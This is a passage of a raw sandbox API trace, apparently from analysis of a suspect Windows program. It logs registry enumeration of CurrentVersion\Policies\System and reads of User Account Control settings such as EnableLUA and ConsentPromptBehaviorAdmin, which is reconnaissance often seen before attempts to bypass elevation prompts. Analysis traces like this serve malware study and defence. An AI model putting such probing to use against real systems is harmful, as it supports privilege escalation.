hKey=0xa0, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x21f3e8 | out: phkResult=0x21f3e8*=0x24) returned 0x0 [0209.938] RegCloseKey (hKey=0xa0) returned 0x0 [0209.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x92b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0209.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x92b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0209.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x92b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0209.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x92b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0209.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x92b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0209.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x92b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0209.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x92b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0209.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x92b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0209.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x92b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0209.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x92b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0209.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x92b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0209.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x92b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0209.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x92b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0209.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x92b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0209.938] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x92b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0209.939] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x92b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0209.939] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x92b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0209.939] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x92b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0209.939] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x92b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0209.939] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x92b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0209.939] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x92b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0209.939] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x92b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0209.939] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x92b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0209.939] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x92b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0209.939] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x92b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0209.939] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x92b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0209.939] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x92b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0209.939] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x92b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0209.939] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x92b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0209.939] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x92b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0209.939] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x92b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0209.940] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x92b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0209.940] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x92b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0209.940] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x92b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0209.940] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x92b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0209.940] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x92b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0209.940] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x92b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0209.940] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x92b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0209.940] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x92b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0209.940] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x92b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0209.940] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x21f3e8 | out: phkResult=0x21f3e8*=0xa0) returned 0x0 [0209.940] RegCloseKey (hKey=0x24) returned 0x0 [0209.940] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x92b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0209.940] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x92b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0209.940] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x92b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0209.940] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x92b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0209.940] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x92b930, cchName=0x104 | out: lpName="System") returned 0x0 [0209.941] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x21f3e8 | out: phkResult=0x21f3e8*=0x24) returned 0x0 [0209.941] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b930) returned 1 [0209.941] RegCloseKey (hKey=0xa0) returned 0x0 [0209.941] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b860) returned 1 [0209.941] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.943] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.943] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.943] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.943] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.944] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.944] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.944] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.944] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.944] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.944] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.944] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.944] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.944] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.944] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.944] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.944] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0209.944] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x21f400, lpData=0x0, lpcbData=0x21f408*=0x0 | out: lpType=0x21f400*=0x4, lpData=0x0, lpcbData=0x21f408*=0x4) returned 0x0 [0209.944] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x21f400, lpData=0x92c438, lpcbData=0x21f408*=0x4 | out: lpType=0x21f400*=0x4, lpData=0x92c438*=0x1, lpcbData=0x21f408*=0x4) returned 0x0 [0209.945] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c438) returned 1 [0209.945] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c5a0) returned 1 [0209.945] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.945] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x10) returned 0x92b860 [0209.945] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92b878 [0209.945] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c5a0 [0209.945] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.945] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92b888 [0209.945] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c438 [0209.945] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.945] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92b898 [0209.945] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c558 [0209.945] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.945] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92b930 [0209.945] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c510 [0209.945] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.945] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x20) returned 0x92b940 [0209.945] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b860) returned 1 [0209.945] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92b860 [0209.945] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c4c8 [0209.945] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.945] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92b968 [0209.945] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c480 [0209.945] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.945] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92b978 [0209.945] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c3f0 [0209.945] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.945] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92b988 [0209.945] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c3a8 [0209.945] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.945] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x30) returned 0x92b998 [0209.945] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b940) returned 1 [0209.946] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92b940 [0209.946] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c360 [0209.946] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.946] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92b950 [0209.946] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c318 [0209.946] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.946] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92b9d0 [0209.946] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c2d0 [0209.946] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.946] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92b9e0 [0209.946] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0209.946] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.946] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c240 [0209.946] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b998) returned 1 [0209.946] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92b998 [0209.946] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c1f8 [0209.946] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.946] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92b9a8 [0209.946] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c1b0 [0209.946] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.946] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d1e8 [0209.946] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c168 [0209.946] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.946] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d1f8 [0209.946] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0209.946] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0209.946] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.946] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.946] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.946] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c5a0) returned 1 [0209.946] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b878) returned 1 [0209.946] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c438) returned 1 [0209.946] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b888) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c558) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b898) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c510) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b930) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c4c8) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b860) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c480) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b968) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c3f0) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b978) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c3a8) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b988) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c360) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b940) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c318) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b950) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c2d0) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b9d0) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b9e0) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c1f8) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b998) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c1b0) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92b9a8) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c168) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d1e8) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92d1f8) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c240) returned 1 [0209.947] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c240 [0209.947] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x21f400, lpData=0x0, lpcbData=0x21f408*=0x0 | out: lpType=0x21f400*=0x4, lpData=0x0, lpcbData=0x21f408*=0x4) returned 0x0 [0209.947] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x21f400, lpData=0x92c240, lpcbData=0x21f408*=0x4 | out: lpType=0x21f400*=0x4, lpData=0x92c240*=0x5, lpcbData=0x21f408*=0x4) returned 0x0 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c240) returned 1 [0209.947] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c0d8) returned 1 [0209.947] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x21f2f0, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0209.947] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x10) returned 0x92d5e8 [0209.947] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x8) returned 0x92d1f8 [0209.947] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c0d8 [0209.948] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x21f2f4, lpcchValueName=0x21f2f0, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x21f2f0, 